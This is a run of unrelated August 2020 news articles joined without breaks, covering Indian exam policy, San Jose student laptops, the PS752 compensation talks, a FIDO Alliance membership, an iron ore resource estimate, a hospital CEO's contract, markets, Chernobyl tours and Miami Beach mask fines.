all the districts, including Mumbai. He expressed the need to research how and why different types of viruses originate. During the meeting, Thackeray reiterated the demand to cancel final-year examinations for non-professional courses, to ensure that the lives of students are not endangered. Thackeray called for a decision on the issue at the national level. He made a strong pitch to declare students as passed by giving them aggregate marks. He said students cannot be left hanging due to the uncertainty during these pandemic times. Thackeray also called for a decision to be taken in the case of final-year medical students. The CM said that till the time a vaccine for Covid-19 is developed, masks and social distancing are the only medicine. If we learn to live with the coronavirus, the process of unlocking restrictions will be easier and faster, Thackeray said during the meeting. (TNS) As a San Jose middle school teacher, Brenna Rodriguez has seen the digital divide that separates the haves and have-nots for many years.The gap has only magnified since the coronavirus pandemic shuttered classrooms last spring and forced administrators to usher in distance-learning models that rely heavily on computer use.But now some help is on the way.With campuses still closed as the new school year begins, Santa Clara County officials announced Monday they will donate $7.1 million to provide 15,000 under-connected students in San Jose with laptops, tablets and hotspots.The news follows an announcement last week that San Jose has partnered with AT&T to provide $8.2 million for infrastructure and digital devices that will help 11,000 students.Santa Clara County Board of Supervisors President Cindy Chavez said during a news conference Monday at the Franklin-McKinley School District in San Jose that thousands of students would languish if action isnt taken.The pandemic has revealed and compounded what we already knew was a problem, Chavez said. And that is really demonstrating that the digital divide pulls families from opportunities every day across this community and across the nation.Thousands of students dont have access to the Internet because they dont have WiFi, they dont have computers or tablets or even a cell phone to learn from home. We know in our community that has to end now.Rodriguez said she has seen firsthand the differences between districts with resources and those trying to make do. Although her stepdaughter attends school in wealthier Sunnyvale, Rodriguez said she herself has taught for 12 years in the Franklin-McKinley School District including the past six at Sylvandale Middle School and has nieces and nephews enrolled at East San Jose schools.Rodriguez said the last school year was the first time she had computers for all students in her classroom.Prior to that, I either had none, was sharing a computer lab or was sharing a Chrome card, Rodriguez added. That makes educating in our current times very challenging.Many teachers like myself have funded their own classrooms with materials because either parents cant afford to provide them for themselves or the school budget had run out.San Jose City Councilmember Magdalena Carrasco called the digital divide the social justice issue of our time.Carrasco added, If we dont connect our kiddos with an infrastructure that allows them to level the playing field, to be able to finish their distance learning it is beholden upon us to make sure that we give them every tool possible, every tool necessary, every resource that is within our grasp to make sure that we help them catch up.Rodriguez said many teachers have brought older devices to their classrooms and have even gone into dumpsters to retrieve computers to help students at least write an essay.A majority of East San Jose students do their schoolwork on a smartphone, she noted.Imagine doing all of your classwork for multiple subjects on a smartphone, Rodriguez said. Then people wonder why is this not in on time? Or why did you not do this? Because they dont have adequate access.While Rodriguez appreciates the aid from county and city officials, she called on the valleys tech industry to do its part, too.Why are these industries, why are these private companies not trying to support our schools? she said.The countys $7.1 million investment was given to the Santa Clara County Office of Education for distribution, with much of it targeted for computing devices.The goal for Franklin-McKinley is ensuring that every single student in our school district has a district-issued device, said Superintendent Juan Cruz, who oversees 13 elementary and three middle schools.Cell phones and outdated devices, which his students have used, present access problems, Cruz said, adding that the only way to correct that issue is to make sure they have district devices that we can troubleshoot and that we know are going to be compatible with all the learning tools that we have.Cruz said his district also plans to provide support for parents who dont know how to use the devices.Just giving them a device and access is not enough, he said. We will be offering professional development for our parents so that they know how to support their child at home. Iran will not be able to avoid paying compensation to Ukraine International Airlines for its plane downed in January 2020, Deputy Foreign Minister of Ukraine Yevhenii Yenin says. During the bilateral talks, the Iranian side confirmed its readiness to compensate for the damage, including to UIA, representatives of which were invited to the negotiations from the Ukrainian side. "We agreed to include this issue on the agenda of the next round of talks," Yenin wrote on his Facebook page. The deputy minister confirmed that the UIA plane had been insured by one of the European insurance companies, which reinsured its risks with other insurers. "Accordingly, Iran will have to compensate for the losses of UIA, if not directly, then in regressive order to the relevant insurance companies, but it is about the same compensation," Yenin noted. As Ukrinform reported, on Monday, August 10, the head of Irans Central Insurance Organisation said that Iran will not compensate Ukraine International Airlines for its plane downed in January because the passenger jet was insured by European companies. On January 8, 2020, Ukraine International Airlines Flight PS752 was shot down near Tehran by an Iranian surface-to-air missile, killing 176 people, including nine crew members (all Ukrainians) and 167 passengers (citizens of Ukraine, Iran, Canada, Sweden, Afghanistan, Germany, and the UK). On July 18, France's Civil Aviation Safety Investigation Authority (BEA) received Flight PS752s recorders from Iran. On July 24, Deputy Foreign Minister of Ukraine Yevhenii Yenin informed that the transcript from Flight PS752s recorders had confirmed illegal interference with the plane. On July 30, Irans delegation arrived in Kyiv to participate in talks on compensation for the downing of UIA flight PS752. On July 31, the Prosecutor General's Office of Ukraine informed that the next round of Ukraine-Iran talks on the investigation into PS752 flight crash was scheduled for October. ish VinCSS LLC, a cybersecurity startup under Vingroup Vietnam's largest private conglomerate on Tuesday announced it has joined the FIDO Alliance. VinCSS provides robust solutions for strong authentication by leveraging open authentication standards that eliminate the reliance on passwords to enable secured utilization of the FIDO2 standard. The exponential growth of threats in cyberspace has disrupted systems which utilize password-based authentication, resulting in hassles for users and burdens on organizations since the maintaining cost is substantial and associated risk exceedingly great. One method was to deploy two-factor authentication using OTP (one-time passwords); however, it can only partially solve the issue at hand and has been defeated multiple times in many recent cyberattacks. Password manager programs, on the other hand, fall prey to hackers since they themselves have vulnerabilities and run on exploitable systems and lack strong authentication methods to self-protect. Were pleased to welcome VinCSS to the FIDO Alliance as a sponsor member. VinCSS has shown a commitment to the development and roll-out of FIDO Certified solutions for simpler and stronger authentication within its own organization and the community at large, said Andrew Shikiar, executive director and CMO, FIDO Alliance. Were looking forward to contributions from VinCSS as a member as we seek to accelerate FIDO adoption in Vietnam and the rest of APAC. According to Do Ngoc Duy Trac, CEO of VinCSS, the company has invested in, researched, and released many important products and solutions to shape its FIDO2 ecosystem. In addition to VinCSS FIDO2 Authenticator and VinCSS FIDO2 Server which have been certificated by FIDO Alliance and ready to be marketed, VinCSS has completed the research and development of hardware keys supporting NFC/BLE/Fingerprint, software keys running on Android/iOS, on-premise solutions necessary to support the implementation of a passwordless process at large enterprises as well as a cloud solution to support SMBs to easily access and make use of passwordless solutions in the context of the ongoing COVID-19 pandemic. Joining the FIDO Alliance has elevated Vingroup to the likes of leading international technology corporations. The company will gradually release these products to the market after they have been thoroughly tested and certified by FIDO Alliance. As a way of giving back to the FIDO community, VinCSS also developed and open-sourced a FIDO2 Client supports PIN protocol that works well on multiple platforms including macOS. Those who are interested in developing a cross-platform desktop FIDO Client can use it for free here. We at VinCSS express our sincere gratitude toward the FIDO Alliance and as a company [were] ready to cooperate with partners, to share our findings to contribute to a more secure future to meet the roadmap that FIDO has set in addressing the passwordless challenge, Trac said. The FIDO (Fast IDentity Online) Alliance was formed in July 2012 to address the lack of interoperability among strong authentication technologies, and remedy the problems users face with creating and remembering multiple usernames and passwords. FIDO Alliance will alter the way for mechanisms on strong authentication and the elimination of passwords by utilizing standards-based specifications that leverage open and interoperable methods to eliminate passwords across systems, applications, and devices. Figure 1 Longitudinal section of Moonshine (west) domain, showing Mineral Resource classification (green=Measured, cyan=Indicated, yellow=Inferred, red=unclassified), and drill hole intercepts (black traces). Grid square 100 m. View to east Longitudinal section of Moonshine (west) domain, showing Mineral Resource classification (green=Measured, cyan=Indicated, yellow=Inferred, red=unclassified), and drill hole intercepts (black traces). Grid square 100 m. View to east Figure 2 Longitudinal section of Moonshine North (west) domain, showing Mineral Resource classification (green=Measured, cyan=Indicated, yellow=Inferred), and drill hole intercepts (black traces). Grid square 100 m. View to east Longitudinal section of Moonshine North (west) domain, showing Mineral Resource classification (green=Measured, cyan=Indicated, yellow=Inferred), and drill hole intercepts (black traces). Grid square 100 m. View to east Figure 3 Plan view of the Mineral Resources of the Lake Giles Iron Project Plan view of the Mineral Resources of the Lake Giles Iron Project Announcement Highlights RCR Mining Technologies (subsidiary of NRW Holdings ASX: NRH) appointed to examine rail unloading infrastructure solution at Esperance Port Macarthur Minerals announces a resource upgrade for the Moonshine magnetite deposit at Lake Giles Measured Mineral Resource of approximately 53.9 Mt and Indicated Mineral Resources of 218.7 Mt Macarthur now has sufficient resources in the appropriate categories to progress its Feasibility Study Resource upgrade follows recently announced Proposal for development of a Commercial Track Access Agreement received from Arc Infrastructure and the announcement of plans to develop haul road and rail siding infrastructure near Lake Giles VANCOUVER, British Columbia, Aug. 11, 2020 (GLOBE NEWSWIRE) -- Macarthur Minerals Limited (TSX-V: MMS) (ASX: MIO) (the Company or Macarthur) is pleased to present the updated Mineral Resource estimate for the magnetite deposits at its Lake Giles Iron Project in Western Australia, which has been completed by CSA Global Pty Ltd (CSA Global). The previous Mineral Resource estimates presented to the market between 20091 and 20192 consisted entirely of Inferred resources, including 710 million tonnes (Mt) at the Moonshine deposits. During 2019 the Company completed a program of infill drilling across some of the Moonshine deposit to upgrade the Mineral Resource category to include Indicated and Measured resources. The Mineral Resource upgrade has delivered sufficient resources in the appropriate categories to underpin the current Lake Giles Iron Project Feasibility Study. Story continues The updated Mineral Resource estimates incorporate the recent drill assays and has resulted in an increase in the size of the Moonshine mineral resources including resource category upgrades to now include Measured and Indicated resources. Approximately 30% of the Moonshine resource is now classified as Indicated with approximately 7.5% classified in the Measured category. Highlights of Mineral Resource estimates: Measured resources of 53.9 Mt at 30.8% Fe head grade and 66.0% Fe DTR concentrate grade Indicated resources of 218.7 Mt at 27.5% Fe head grade and 66.1% Fe DTR concentrate grade Inferred resources of 997.0 Mt at 28.4% Fe head grade and 64.6% Fe DTR concentrate grade Cameron McCall, President and Executive Chairman of Macarthur Minerals commented: The completion of the updated Mineral Resource estimate for Macarthurs magnetite deposits at its Lake Giles Iron Project is a major milestone for the Company as it progresses its Feasibility Study. The updated estimate includes an increase in the size of the Moonshine and Moonshine North Mineral Resource, with category upgrades including Measured and Indicated resources. With a Measured Mineral Resource totalling 53.9 Mt and Indicated Mineral Resources of 218.7 Mt, Macarthur now has sufficient resources in the appropriate categories to progress its Feasibility Study. Recent announcements concerning the Companys applications to develop haul road and rail siding infrastructure near Lake Giles and the announcement that the Company has received a Proposal for development of a Commercial Track Access Agreement from Arc Infrastructure means that the Company is now edging closer than ever to making this Project real for shareholders. The Companys Board and Management are singularly focused on progressing through the key gateways to deliver the Project to maximise the opportunities presented in the current commodity cycle. With our focus now on the many more successes which need to follow, we have committed to a pathway of responsible, respectful and sustainable development. These are the principles and points of difference upon which the Company will focus as an emerging Australian iron ore producer. This is a great outcome for Macarthur and its shareholders. Mineral Resource Update The Lake Giles Mineral Resource estimates have been updated by CSA Global and reported in accordance with the Canadian Institute of Mining, Metallurgy and Petroleum (CIM) Definition Standards. The Mineral Resource estimate includes recent infill drilling conducted at the Moonshine deposits as previously disclosed on May 5, 2020 (see full release here ). Figures 1 and 2 show the distribution of the Mineral Resource categories within the domains hosting the Measured and Indicated Mineral Resources for the Moonshine deposits. Macarthurs infill drilling program concentrated on just a portion of the previously reported Mineral Resource2 to establish Measured and Indicated Mineral Resources to underpin the Feasibility Study of the Lake Giles Iron Project. Further drilling beyond the Measured Mineral Resource will be conducted as required however, the Company is confident it has established sufficient Mineral Resources to support its Feasibility Study. The Inferred Mineral Resources in Moonshine North (western domains) are extended to beyond 200 m below the depth of drilling, with geological continuity at these depths implied based upon results from aeromagnetic surveys. The results from the aeromagnetic surveys covering Moonshine are less clear and there is therefore less confidence in the interpreted depth extension of the host Banded Iron Formation (BIF) unit where there is no drill hole support. Figure 1 Longitudinal section of Moonshine (west) domain, showing Mineral Resource classification (green=Measured, cyan=Indicated, yellow=Inferred, red=unclassified), and drill hole intercepts (black traces). Grid square 100 m. View to east is available at https://www.globenewswire.com/NewsRoom/AttachmentNg/4340320e-8357-4fd3-9983-2f46c95eda25 Figure 2 Longitudinal section of Moonshine North (west) domain, showing Mineral Resource classification (green=Measured, cyan=Indicated, yellow=Inferred), and drill hole intercepts (black traces). Grid square 100 m. View to east is available at https://www.globenewswire.com/NewsRoom/AttachmentNg/1c5501ac-7afa-4e7e-97e5-3110fdc0c9ec ______________________________________________________________________________________________________ 1 NI 43-101 Technical Report filed December 17, 2009, titled NI 43-101 Technical Report on Lake Giles Iron Ore Project: Western Australia. 2 NI 43-101 Technical Report filed June 13, 2019, titled NI43-101 Technical report, Macarthur Minerals Limited, Preliminary Economic Assessment Lake Giles Iron Project. Mineral Resource Estimates The Mineral Resources are reported above a Davis Tube Recovery (DTR) mass recovery of 15% and presented in Tables 1-3. Previous resource estimates for the Snark, Clark Hill North, Clark Hill South and Sandalwood deposits1 have been reviewed and reported in accordance with current CIM Definition Standards. Locations of the various deposits are presented in Figure 3. Table 1 Mineral Resource estimate, Moonshine and Moonshine North, where DTR>15% Category Tonnes (MT) Head Grades (%) Concentrate Grade (%) Fe P SiO 2 Al 2 O 3 LOI DTR Fe P SiO 2 Al 2 O 3 LOI Measured 53.9 30.8 0.05 45.4 1.6 2.7 32.2 66.0 0.031 6.2 0.2 -0.7 Indicated 218.7 27.5 0.046 51.1 1.4 1.6 31.0 66.1 0.017 6.7 0.1 -0.1 Sub-total 272.5 28.1 0.047 50.0 1.4 1.8 31.2 66.1 0.02 6.6 0.2 -0.2 Inferred 449.1 27.1 0.047 52.6 1.0 1.4 29.2 65.0 0.026 8.4 0.1 0 Table 2 Mineral Resource estimate, Sandalwood, Clark Hill North, Clark Hill South and Snark, where DTR>15% Deposit Category Tonnes (MT) Head Grades (%) Concentrate Grade (%) Fe SiO 2 Al 2 O 3 LOI DTR Fe P SiO 2 Al 2 O 3 LOI Sandalwood Inferred 334 31.1 48.4 1.5 -0.6 33.1 64.7 0.03 9.5 0.06 -2.7 Snark Inferred 69 27.8 49.8 1.6 2.4 23.4 66.2 0.03 7.5 0.13 -2.8 Clark Hill North Inferred 130 25.8 42.6 1.7 0.14 33.2 62.4 0.04 12.1 0.16 -2.6 Clark Hill South Inferred 15 32.3 47.0 0.6 0.02 31 63.8 0.02 9.8 0.14 0.0 Table 3 Mineral Resource estimate, all deposits, where DTR>15% Category Tonnes (MT) Head Grades (%) Concentrate Grade (%) Fe P SiO 2 Al 2 O 3 LOI DTR Fe P SiO 2 Al 2 O 3 LOI Measured 53.9 30.8 0.05 45.4 1.6 2.7 32.2 66.0 0.031 6.2 0.2 -0.7 Indicated 218.7 27.5 0.046 51.1 1.4 1.6 31.0 66.1 0.017 6.7 0.1 -0.1 Sub-total 272.5 28.1 0.047 50.0 1.4 1.8 31.2 66.1 0.02 6.6 0.2 -0.2 Inferred 997.0 28.4 0.05 49.6 1.3 0.6 30.6 64.6 0.03 9.2 0.1 -1.5 Notes (for all Tables): Figures contained within the Tables have been rounded. Resource estimates are based on block models constructed using three dimensional geological wireframes. Mineral Resources are reported from the block models above a DTR cut-off grade of 15% Mineral Resources are not Mineral Reserves and do not have demonstrated economic viability. Figure 3 Plan view of the Mineral Resources of the Lake Giles Iron Project is available at https://www.globenewswire.com/NewsRoom/AttachmentNg/0709fe08-b486-4854-9a07-9d14f078e5cf A supporting NI43-101 Technical Report will be filed on SEDAR at www.sedar.com within 45 days. On behalf of the Board of Directors, Mr Cameron McCall, Executive Chairman For more information please contact: Joe Phillips CEO & Director +61 7 3221 1796 communications@macarthurminerals.com Investor Relations Australia Investor Relations - Canada Advisir Investor Cubed Sarah Lenard, Partner Neil Simon, CEO sarah.lenard@advisir.com.au +1 647 258 3310 info@investor3.ca Qualified person The Mineral Resources for the Lake Giles Magnetite Project disclosed in the press release have been estimated by Mr. David Williams, BSc (Hons), a member of the Australian Institute of Geoscientists. Mr. Williams, an employee of CSA Global Pty Ltd and an Independent Qualified Person, has reviewed and approved the above technical information relating to the Mineral Resource estimates contained in this release, in the form and context in which it appears. Company profile Macarthur is an iron ore development, gold and lithium exploration company that is focused on bringing to production its Western Australia iron ore projects. The Lake Giles Iron Project mineral resources include the Ularring hematite resource (approved for development) comprising Indicated resources of 54.5 million tonnes at 47.2% Fe and Inferred resources of 26 million tonnes at 45.4% Fe; and the Lake Giles magnetite resource of 53.9 million tonnes (Measured), 218.7 million tonnes (Indicated) and 997 million tonnes (Inferred). Macarthur has prominent (~721 square kilometer tenement area) gold, lithium and copper exploration interests in Pilbara region of Western Australia. In addition, Macarthur has lithium brine Claims in the emerging Railroad Valley region in Nevada, USA. This news release is not for distribution to united states services or for dissemination in the United States Caution Regarding Forward Looking Statements Certain of the statements made and information contained in this press release may constitute forward-looking information and forward-looking statements (collectively, forward-looking statements) within the meaning of applicable securities laws. All statements herein, other than statements of historical fact, that address activities, events or developments that the Company believes, expects or anticipates will or may occur in the future, including but not limited to statements regarding expected completion of the Feasibility Study; conversion of Mineral Resources to Mineral Reserves or the eventual mining of the Project, are forward-looking statements. The forward-looking statements in this press release reflect the current expectations, assumptions or beliefs of the Company based upon information currently available to the Company. Although the Company believes the expectations expressed in such forward-looking statements are based on reasonable assumptions, such statements are not guarantees of future performance and no assurance can be given that these expectations will prove to be correct as actual results or developments may differ materially from those projected in the forward-looking statements. Factors that could cause actual results to differ materially from those in forward-looking statements include but are not limited to: unforeseen technology changes that results in a reduction in iron or magnetite demand or substitution by other metals or materials; the discovery of new large low cost deposits of iron magnetite; the general level of global economic activity; failure to complete the FS; inability to demonstrate economic viability of Mineral Resources; and failure to obtain mining approvals. Readers are cautioned not to place undue reliance on forward-looking statements due to the inherent uncertainty thereof. Such statements relate to future events and expectations and, as such, involve known and unknown risks and uncertainties. The forward-looking statements contained in this press release are made as of the date of this press release and except as may otherwise be required pursuant to applicable laws, the Company does not assume any obligation to update or revise these forward-looking statements, whether as a result of new information, future events or otherwise. The Regional Medical Center's board announced Monday it has decided not to renew the contract of President and Chief Executive Officer Charles E. Williams. Williams will remain at the hospital until his contract ends on Dec. 10. While I am disappointed that the agreement was not renewed, I am grateful to have had the opportunity to serve the fine people of Orangeburg, Calhoun, Bamberg and Barnwell counties," Williams said in prepared statement. "I wish nothing but the best for RMC and its physicians, nurses, and staff, as well as the communities who depend on RMC for health care, he said. The decision was made by the board during a special called meeting on Thursday. No reason was given for the board's decision to not renew Williams contract. The board sincerely appreciates Charles service to RMC, board Chairman the Rev. Dr. Caesar Richburg said. "He has advanced RMC in many ways during his time here." "We are grateful for Charles contributions to RMC and, more broadly, to our communities," he said. "The board will begin the process for looking for a new CEO in the coming weeks. Williams will assist with the transition, according to an RMC press release. Richburg, who typically serves as board spokesman, referred questions to the hospital's attorney, Laura Evans at the Shumaker law firm. "RMC will honor all terms of Mr. Williams employment agreement," Evans said. Williams came to RMC in December 2017. He was hired for $400,000 a year for a three-year term. The contract did have an option for a two-year renewal. The hospital is owned by Orangeburg and Calhoun counties. Orangeburg County Council Chairman Johnnie Wright said the news of the board's decision was a surprise. "I am not there every day," he said, noting he wants to get the facts behind the decision. "I thought he was doing a good job in moving the hospital forward, Wright said. Calhoun County Council Chairman David Summers said he got word about the board's decision about 9 a.m. Monday. "I personally like Charles, but we have three on the board over there and we let them handle our part," Summers said. "I don't know how they voted or anything, but they do what theyve got to do over there." Summers said the decision is a big deal as RMC is one of the largest employers in the region. "I support the board in whatever they do," Summers said. "Sometimes I don't like some of the things they do, but that is why they are put on there." Orangeburg County Councilwoman Janie Cooper-Smith said, "I am overwhelmed with shock. I am highly disappointed. I thought Mr. Williams was doing a great job." "He was doing a remarkable job before the pandemic and has been doing an exceptional job during the pandemic," she said. "I did not know the trustees were so dissatisfied with his performance and his vision to move the hospital forward." Cooper-Smith said its not the time to get rid of the CEO. "We need stability," Cooper-Smith said. "I think our community will begin to see the sun at the end of the tunnel but now all of a sudden the clouds of darkness have plunged." The Board of Trustees will meet Tuesday, Aug. 25 to formalize the process for seeking the next CEO. The T&D was not given advance notice of the Aug. 6 meeting. "The meeting was posted on the website and we checked with legal and that was our obligation," RMC Vice President of Strategy and Marketing Carol Koenecke-Grant said. S.C. Press Association Executive Director Bill Rogers said the media should have been given notice under the S.C. Freedom of Information Act. "The law still requires them to send out notices to those who request them," Rogers said. "Their meeting they had last week was an illegal meeting." Rogers said the meeting was not properly publicized. He also noted the hospital needs to post meetings at the place of business. "It is unfortunate their attorney does not know the law," Rogers said. Koenecke-Grant declined to provide comment beyond what was in the press release, but said she would consult with the hospital's attorneys about the matter. Williams replaced longtime RMC CEO Tom Dandridge, who served the hospital for 24 years. Dandridge was only the hospital's second CEO in the past 50 years. One of Williams first decisions at the helm was to implement cost cutting measures in an effort to make the hospital more efficient after ending the 2016-2017 fiscal year with a $7.1 million loss. RMC laid off less than 3% of the hospital's employees. During his tenure, the hospital closed its Denmark primary care practice in August 2018; its in-house outpatient pharmacy in September 2018 and its North primary care practice earlier this year. In the fall of 2018, the hospital received a failing grade from The Leapfrog Group, a nonprofit watchdog group, in its survey of hospital safety across nation. The bi-annual survey looks at several factors, including infections, problems with surgery and practices to prevent errors. RMC was the only hospital out of the 46 surveyed in the state to receive an F. The survey data was collected between 2015 and 2017, before Williams tenure. Hospital officials at the time said they implemented a number of measures to address the concerns, including developing annual safety surveys, a new patient safety committee, quarterly staffing plans for nursing and quarterly hand hygiene improvement plans. In December 2018, Williams received a 5% salary increase to his base salary of $400,000. He also received a one-time, $60,000 payment per the covenant agreement the hospital has with search firm Wiff/Kieffer, which helped the hospital land Williams. Richburg, who was also board chair at the time, praised Williams for reducing the hospital's deficit of $7 million to $1 million. In April 2019, Williams helped to celebrate the grand opening of the Bamberg-Barnwell Emergency Medical Center. The $8.6 million emergency department has seen greater than anticipated usage but has lost money since its opening. Later that same month, the RMC experienced a shooting in its emergency department, leaving one employee in critical condition. Financially, the hospital at the time was on the upswing, being about $4 million in the black compared to being $3.8 million in the red the same time the prior year. In May 2019, the hospital board approved a performance-based year-end bonus structure for Williams of up to $105,000. The bonus was contingent on the hospital improving its Leapfrog score; decreasing the waiting time in the emergency department; increasing Dialysis Access Institute procedures and growing the hospital's orthopedics, general surgery and anesthesia departments, to name a few. The 2018-2019 fiscal year saw the hospital experience a $3 million loss in behavioral health along with a $3.2 million loss in federal disproportionate share money, meaning the total loss from operations by the hospital and its seven primary care practices was $6.2 million in 2018-2019. However, the loss was offset by a gain of about $4.6 million in non-operating income for the entire system, meaning the total loss for the entire hospital system for the year was $1.6 million. In an October 2019 interview with The T&D, Williams touted the hospital's progress, but said the hospital's turnaround could take five years. Williams noted that over two years, RMC saw wait times in the emergency department to improve; surgery start times improved; the Leapfrog score improved from F to a D; the Women's Health Center on Pelham Court opened in August 2019 and security improved at RMC. Williams has also been at the helm during the coronavirus pandemic. Through the end of June, the RMC and its primary care practices lost about $14.7 million due to COVID but received $16.3 million in federal relief. Despite the challenges of COVID-19, the hospital cut the ribbon in July 2020 on its new RMC Express Care facility located on its campus near the Dialysis Access Institute. The center will provide faster access to care for minor, non-life threatening injuries and illnesses. Love 3 Funny 2 Wow 7 Sad 8 Angry 7 Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. Stocks slipped Tuesday, snapping a seven-day winning streak, hurt by declines in big technology stocks such as Apple and Microsoft. The Standard & Poor's 500, the broadest measure of U.S. stocks and the index used as a benchmark for index funds, fell 0.8% to 3,333.69, ending its longest streak of gains in over a year and leaving it 1.6% below its Feb. 19 record high. The Dow Jones industrial average slumped 104.53 points to 27,686.91. It remains 6.3% below its Feb. 12 peak. The Nasdaq Composite lost 1.7% to 10,782.82. Gains for banks, industrial and energy companies were offset by drops in big-name tech stocks, which have far outpaced the rest of the market this year as investors bet they could still thrive in a stay-at-home economy. Stocks initially opened higher on renewed optimism that further stimulus measures could help bolster the U.S. economy. President Donald Trump announced this week that he plans to cut taxes on capital gains and income. On Monday, Treasury Secretary Steven Mnuchin said the White House was open to resuming stimulus talks with Democrats after negotiations broke down last week. Global markets had received a boost overnight after Russia claimed victory in the race for a coronavirus vaccine after it was the first country to officially register one and declare it ready for use Tuesday, despite less than two months of human testing and not completing final trials. The World Health Organization has said all vaccine candidates should go through full stages of testing before being rolled out. Bouncing back: Retirement savers cash in after shrugging off stock market woes in the spring 'Insulin or groceries': How reduced unemployment affects struggling Americans from California to Mississippi A flood of government spending and monetary stimulus have kept markets rising since March. Now investors are looking to Washington for a fresh lifeline for the U.S. economy, which slid into recession as the pandemic spread in the spring. The S&P 500 had been down nearly 34% in March. Story continues Over the weekend, President Trump announced several stopgap moves to aid the economy after the collapse of talks on Capitol Hill for a bigger rescue package. Investors have been saying the economy needs another big lifeline from Washington, and quickly, after $600 in weekly unemployment benefits for workers from the federal government expired at the end of July. Trump signed executive actions Saturday to extend the expired benefit for unemployed workers, among other things. The orders, however, were more limited than what investors hoped to see from a full rescue bill for the economy. We remain cautiously optimistic about the economys reopening progress. In the next few weeks and months, the impact of policy the latest stimulus bill, school reopenings and the November election will likely play an outsized role in the markets, Terry Sandven, chief equity strategist at U.S. Bank Wealth Management, said in a note. The "Fearless Girl" statue stands in front of the New York Stock Exchange on March 16, 2020. The worldwide confirmed number of coronavirus cases hit 20 million Monday, according to a tally kept by Johns Hopkins University. The U.S. reached another astonishing milestone over the weekend by surpassing 5 million confirmed coronavirus cases. The U.S. has recorded more than 163,000 deaths. On top of the rising number of coronavirus counts around the world, uncertainty has grown with widening antagonisms between the United States and China, the worlds largest economies. The latest move in their escalating tensions was Chinas announcement of unspecified sanctions against 11 U.S. politicians and heads of organizations promoting democratic causes, including Sens. Marco Rubio and Ted Cruz. The two sides are scheduled to hold virtual trade talks at the end of the week. The yield on the 10-year Treasury rose to 0.66% from 0.57% late Monday, a big move. Oil prices closed lower after being up earlier. Benchmark U.S. crude oil for September delivery fell 0.8% to settle at $41.61 per barrel. Brent crude oil for October delivery fell 1.1% to settle at $44.50 per barrel. Germanys DAX jumped 2% while the CAC 40 in Paris also gained 2.4%. Britains FTSE 100 rose 1.7% even after new data showed employment dropped by the most since the global financial crisis in 2009. The Hang Seng in Hong Kong added 2.1%, while the Nikkei 225 climbed 1.9%. In South Korea, the Kospi picked up 1.4%. Sydneys S&P/ASX 200 advanced 0.5%, while the Shanghai Composite index gave up earlier gains, dropping 1.2%. Contributing: The Associated Press This article originally appeared on USA TODAY: Stocks snap winning streak as tech shares slide (Photo: pixabay) Chernobyl exclusion zone is one of the most popular places for tourists, foreigners in particular. Since the excursions were allowed there, zone has been visited by hundreds of thousands of people. Not surprisingly, because it has a lot to offer to those who are interested in photography, nuclear physics, abandoned places as well as to those who are simply interested in history. Based on experience of many travelers, Chernobyl Story Tours collected some tips for making the time spent in the zone the best possible. Booking a Tour As long as the area of Chernobyl exclusion zone is restricted, the visitors are not allowed going there on their own. All the visits have to receive permission from the authorities of the zone and have to be guided. The first thing you need to do is to contact tour agency, and it will take care of everything. You are to choose what type of tour you would like to pick up: group or private one and one day tour or several days. In case you want to measure the levels of radiation by yourself, you can rent special equipment for this purpose - a Geiger counter. Also, you can choose type of meal: vegetarian or ordinary one. If you have any other special requests or simply questions, you can discuss them with the managers. You will be asked to provide your passport details as long as they are needed for the entry permit. The price depends on the various factors: either tour is private or not, its duration, rented equipment etc. If you want to visit Chernobyl zone with your car (private or rented), you will have to mention that as well and provide required documents. Preparation It would be nice to make some prior research before visiting Chernobyl zone. You don't have to get detailed knowledge on the topic; finally, you will have a professional guide with you who will tell you a lot of information and answer your questions. However, if you know what exactly you are interested in, you can be sure to get it without wasting time. Tour agency will contact you before the day of your visit in order to remind you to bring some necessary things like documents and proper clothes. According to the rules of Chernobyl zone, you have to wear long trousers, closed shoes and long sleeves. Make sure your clothing matches both the rules and the weather and it is comfortable for you. You will have to walk a lot, keep it in mind as well. Although you will be provided with lunch, bring some snacks as the day of the tour will be long and intense. In additon, don't forget about taking water. Check your phone/camera batteries and power banks. There will not be possibility to buy extra batteries in Chernobyl, so make sure your equipment will be always ready to capture zone's scenes. On a Tour In the morning, you will meet your guide at the time and meeting point mentioned in the letter from the tour agency. On the way to Chernobyl, you will be instructed about safety and other rules which you will have to follow when visiting the zone. Don't hesitate to ask whatever you are curious or worried about or when you need to clarify the information. In the zone, you will be always accompanied by your guide, just talk to him/her anytime you have a query. Visits to Chernobyl are totally safe, moreover, when following the rules. Basically, the main tip for the tour day is to listen, explore and enjoy as much as you can. See Now: The U.S. had the highest number of Most Wanted properties, dominating the Hotels.com Loved By Guests Awards 2018 One man took his mask off to answer his phone. Another walked alone on a quiet street with a bare face. The third kept his mask nearby outside a Lincoln Road restaurant while he examined its menu. They were all deemed to be in violation of a Miami Beach order requiring the use of facial coverings to limit the spread of COVID-19, even when outdoors and socially distanced. They were each fined $50. The city has issued $14,400 in fines since July 23, the first day when city employees and police began ticketing alleged violators. Of the 288 people fined, only four have paid their fines as of Monday, according to a city spokeswoman. Violators have 30 days to pay the fines, and the fines cannot be appealed to the city, she said. Failure to pay would potentially subject the violator to an additional fine of up to $500 and a criminal misdemeanor charge of violating an executive order, which can carry up to 60 days in jail, the spokeswoman said. Body-camera footage from Miami Beach Code Compliance, obtained by the Miami Herald, captured three stops from July 23 and offers a glimpse into how the city enforces its order. The inspections mostly began the same way, with a code officer taking a photo of the alleged violator and then confronting him to ask for ID to write the ticket. I had no idea, said one man to an officer, who approached him as he walked alone on Bay Road about 1:30 p.m. I mean theres tons of people walking around with no masks. A man is fined by Miami Beach Code Compliance for violating the citys mandatory face-mask rule on July 23. Seriously? I took it off for a second because someone called me on my phone and then I put it back on, a man walking alone on Lincoln Road told the code officer who stopped him. In one instance, a code officer threatened to call the police if a man did not provide his ID. The man, a tourist from Louisiana, stopped outside Havana 1957 on Lincoln Road to read the restaurants menu. He was not wearing his mask and said he did not know masks were required at all times. As other guests walked along the South Beach promenade without masks on, the man asked that the code officer apply the law consistently. Story continues I understand when I sit down or if I walk into a building, Ill have it to put it on, he said. I didnt know you needed it [outdoors]. A man is stopped by a Miami Beach Code Compliance officer on July 23. He was fined $50 for violating the citys face-mask rule, intended to slow the spread of the coronavirus. The citys mandate is nearly identical to an order issued by Miami-Dade County on July 16 that comes with a $100 fine. The rules provide exceptions for children younger than 2, individuals with respiratory issues or those involved in strenuous physical activity. Miami-Dade police have issued 225 citations to date. 